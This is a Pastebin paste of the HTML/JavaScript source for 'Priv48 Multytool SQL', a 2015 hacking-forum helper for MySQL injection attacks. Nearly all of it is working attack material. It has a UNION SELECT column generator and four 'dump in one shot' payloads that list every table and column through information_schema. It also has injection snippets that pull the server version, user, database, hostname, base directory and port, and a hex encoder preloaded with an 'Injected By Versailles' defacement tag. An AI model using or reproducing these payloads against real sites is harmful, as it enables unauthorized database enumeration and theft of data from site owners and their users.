Advertisement
Versailles

Source Code Priv48 ToolSQL.html

Jul 29th, 2015
698
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 7.50 KB | None | 0 0
  1. <html>
  2. <head>
  3. <title>Priv48 Multytool SQL</title>
  4. <meta charset="utf-8">
  5.  
  6. <script type="text/javascript">
  7.  
  8. // CheatSheet Dios Collection Pakage
  9. // Coded By Versailles
  10. // FB : facebook.com/thever.sevenfoldism
  11. // Thanks for Sec7or Team - Securityidiots - Hackforum - and all
  12. // Dont Change Copyright
  13.  
  14. function d2h(d) {return d.toString(16);}
  15. function Str2Hex() {
  16. var tmp = document.getElementById('str').value;
  17. var str = '';
  18. for (var i=0; i<tmp.length; i++) {
  19. c = tmp.charCodeAt(i);
  20. str += d2h(c) + ''; }
  21. document.getElementById('hex').value = '0x' + str; }
  22.  
  23. function kolom() {
  24.  
  25. var columns = prompt( "Total Columns [./Versailles]", "48" );
  26.    columns = Math.min(1000, parseInt( columns ));
  27.    var colArray = new Array();
  28.    for ( var i = 0 ; i < columns ; i++ ) {
  29.      colArray.push( i+1 );
  30.    }
  31.    var kolom = "+UNION+SELECT+" + colArray.join( ',' ); document.getElementById('kol').value = kolom;
  32.  }
  33.  
  34. function dios1(){
  35. var dios1 = '(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema=database())and(0x00)in(@x:=concat+(@x,0x3c62723e,table_name,0x203a3a20,column_name))))x)';
  36. document.getElementById('dios').value = dios1;
  37. }
  38.  
  39. function dios2(){
  40. var dios2 = '(select(select+concat(@:=0xa7,(select+count(*)from(information_schema.coLumns )where(@:=concat(@,0x3c6c693e,table_name,0x203a3a20,column_name))),@)))';
  41. document.getElementById('dios').value = dios2;
  42. }
  43.  
  44. function dios3(){
  45. var dios3 = 'make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)';
  46. document.getElementById('dios').value = dios3;
  47. }
  48.  
  49. function dios4(){
  50. var dios4 = '(Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0x203a3a20,2)),@,2))';
  51. document.getElementById('dios').value = dios4;
  52. }
  53.  
  54. function version1(){
  55. var v1 = 'version()';
  56. document.getElementById('dios').value = v1;
  57. }
  58.  
  59. function version2(){
  60. var v2 = '@@version';
  61. document.getElementById('dios').value = v2;
  62. }
  63.  
  64. function version3(){
  65. var v3 = '@@GLOBAL.VERSION';
  66. document.getElementById('dios').value = v3;
  67. }
  68.  
  69. function user1(){
  70. var u1 = 'user()';
  71. document.getElementById('dios').value = u1;
  72. }
  73.  
  74. function user2(){
  75. var u2 = 'CURRENT_USER()';
  76. document.getElementById('dios').value = u2;
  77. }
  78.  
  79. function user3(){
  80. var u3 = 'SYSTEM_USER()';
  81. document.getElementById('dios').value = u3;
  82. }
  83.  
  84. function user4(){
  85. var u4 = 'SESSION_USER()';
  86. document.getElementById('dios').value = u4;
  87. }
  88.  
  89. function user5(){
  90. var u5 = 'SUBSTRING_INDEX(USER(),0x40,1)';
  91. document.getElementById('dios').value = u5;
  92. }
  93.  
  94. function user6(){
  95. var u6 = '(SELECT+CONCAT(USER)+FROM+INFORMATION_SCHEMA.PROCESSLIST)';
  96. document.getElementById('dios').value = u6;
  97. }
  98.  
  99. function db1(){
  100. var d1 = 'DATABASE()';
  101. document.getElementById('dios').value = d1;
  102. }
  103.  
  104. function db2(){
  105. var d2 = 'SCHEMA()';
  106. document.getElementById('dios').value = d2;
  107. }
  108.  
  109. function db3(){
  110. var d3 = '(SELECT+CONCAT(DB)+FROM+INFORMATION_SCHEMA.PROCESSLIST)';
  111. document.getElementById('dios').value = d3;
  112. }
  113.  
  114. function o1(){
  115. var o1 = '@@HOSTNAME';
  116. document.getElementById('dios').value = o1;
  117. }
  118.  
  119. function o2(){
  120. var o2 = '@@VERSION_COMPILE_MACHINE';
  121. document.getElementById('dios').value = o2;
  122. }
  123.  
  124. function o3(){
  125. var o3 = '@@VERSION_COMPILE_OS';
  126. document.getElementById('dios').value = o3;
  127. }
  128.  
  129. function o4(){
  130. var o4 = '@@BASEDIR';
  131. document.getElementById('dios').value = o4;
  132. }
  133.  
  134. function o5(){
  135. var o5 = '@@HAVE_OPENSSL';
  136. document.getElementById('dios').value = o5;
  137. }
  138.  
  139. function o6(){
  140. var o6 = '@@HAVE_SYMLINK';
  141. document.getElementById('dios').value = o6;
  142. }
  143.  
  144. function o7(){
  145. var o7 = '@@PORT';
  146. document.getElementById('dios').value = o7;
  147. }
  148.  
  149. function o8(){
  150. var o8 = '@@SOCKET';
  151. document.getElementById('dios').value = o8;
  152. }
  153.  
  154.  
  155.  
  156.  
  157. </script>
  158. </head>
  159. <center>
  160. <h2>MyMultytools</h2>
  161. <body>============ String To Hex ============ <br>
  162. <textarea id="str" rows="5" cols="40"><font color=red>Injected By Versailles</font></textarea>
  163.  <br>
  164. <button onclick="Str2Hex()">Convert</button>
  165. <br>
  166. <textarea id="hex" rows="5" cols="40">
  167. </textarea><br>
  168.  
  169. ======== GENERATE COLUMN ==========<br>
  170. <button onclick="kolom()"> Generate Column </button>
  171.  
  172.  
  173. <br>
  174. <textarea id="kol" rows="5" cols="40">
  175. </textarea>
  176. <br>
  177.  ======= :: DUMP IN ONE SHOOT :: =======<br>
  178. <button onclick="dios1()">Dios 1</button>
  179. <button onclick="dios2()">Dios 2</button>
  180. <button onclick="dios3()">Dios 3</button>
  181. <button onclick="dios4()">Dios 4</button><br>
  182. ========= SYSTEM VARIABLES =========<br>
  183. :: VERSION ::<br>
  184. <button onclick="version1()">Version 1</button>
  185. <button onclick="version2()">Version 2</button>
  186. <button onclick="version3()">Version 3</button><br>
  187. :: USER :: <br>
  188. <button onclick="user1()">User 1</button>
  189. <button onclick="user2()">User 2</button>
  190. <button onclick="user3()">User 3</button><br>
  191. <button onclick="user4()">User 4</button>
  192. <button onclick="user5()">User 5</button>
  193. <button onclick="user6()">User 6</button><br>
  194. :: DATABASE ::<br>
  195. <button onclick="db1()">Database 1</button>
  196. <button onclick="db2()">Database 2</button>
  197. <button onclick="db3()">Database 3</button><BR>
  198. :: OTHER ::<br>
  199. <button onclick="o1()"> @@HOSTNAME </button>
  200. <button onclick="o2()"> @@VERSION_COMPILE_MACHINE </button><br>
  201. <button onclick="o3()"> @@VERSION_COMPILE_OS </button>
  202. <button onclick="o4()"> @@BASEDIR </button><br>
  203. <button onclick="o5()"> @@HAVE_OPENSSL </button>
  204. <button onclick="o6()"> @@HAVE_SYMLINK </button><br>
  205. <button onclick="o7()"> @@PORT </button>
  206. <button onclick="o8()"> @@SOCKET </button>
  207.  
  208.  
  209. <br>
  210. <textarea id="dios" rows="5" cols="40" placeholder="Output">
  211. </textarea>
  212. <br>
  213. :: Unescape ::
  214. <script language="javascript">
  215.       var encN=1;
  216.       function decodeTxt(s){
  217.       var s1=unescape(s.substr(0,s.length-1));
  218.       var t='';
  219.       for(i=0;i<s1.length;i++)t+=String.fromCharCode(s1.charCodeAt(i)-s.substr(s.length-1,1));
  220.      return unescape(t);
  221.      }
  222.  
  223.      function encodeTxt(s){
  224.      s=escape(s);
  225.      var ta=new Array();
  226.      for(i=0;i<s.length;i++)ta[i]=s.charCodeAt(i)+encN;
  227.      return ""+escape(eval("String.fromCharCode("+ta+")"))+encN;
  228.      }
  229.  
  230.      function escapeTxt(os){
  231.      var ns='';
  232.      var t;
  233.      var chr='';
  234.      var cc='';
  235.      var tn='';
  236.      for(i=0;i<256;i++){
  237.      tn=i.toString(16);
  238.      if(tn.length<2)tn="0"+tn;
  239.      cc+=tn;
  240.      chr+=unescape('%'+tn);
  241.      }
  242.      cc=cc.toUpperCase();
  243.      os.replace(String.fromCharCode(13)+'',"%13");
  244.      for(q=0;q<os.length;q++){
  245.      t=os.substr(q,1);
  246.      for(i=0;i<chr.length;i++){
  247.      if(t==chr.substr(i,1)){
  248.      t=t.replace(chr.substr(i,1),"%"+cc.substr(i*2,2));
  249.      i=chr.length;
  250.      }}
  251.      ns+=t;
  252.      }
  253.      return ns;
  254.      }
  255.      function unescapeTxt(s){
  256.      return unescape(s);
  257.      }
  258.      function wF(s){
  259.      document.write(decodeTxt(s));
  260.      }
  261.    </script>
  262.         <form name="fA">
  263.           <textarea id="f1" cols="40" rows="5" wrap="off" placeholder="source"></textarea><br>
  264.  
  265. <input value="Encode" onclick="document.fA.c1.value=escapeTxt(document.fA.f1.value)" type="button" width="50%"> &nbsp; &nbsp;
  266.           <input value="Decode" onclick="document.fA.f1.value=unescapeTxt(document.fA.c1.value)" type="button"><br>
  267.          
  268.           <textarea id="c1" cols="40" rows="5" placeholder="Decode"></textarea><br>
  269.          
  270.          
  271.  
  272. </script>
  273. <br>
  274. &copy; 2015 | Coded By <a href=https://facebook.com/thever.sevenfoldism>Versailles</a>
  275.  
  276. </body>
  277. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement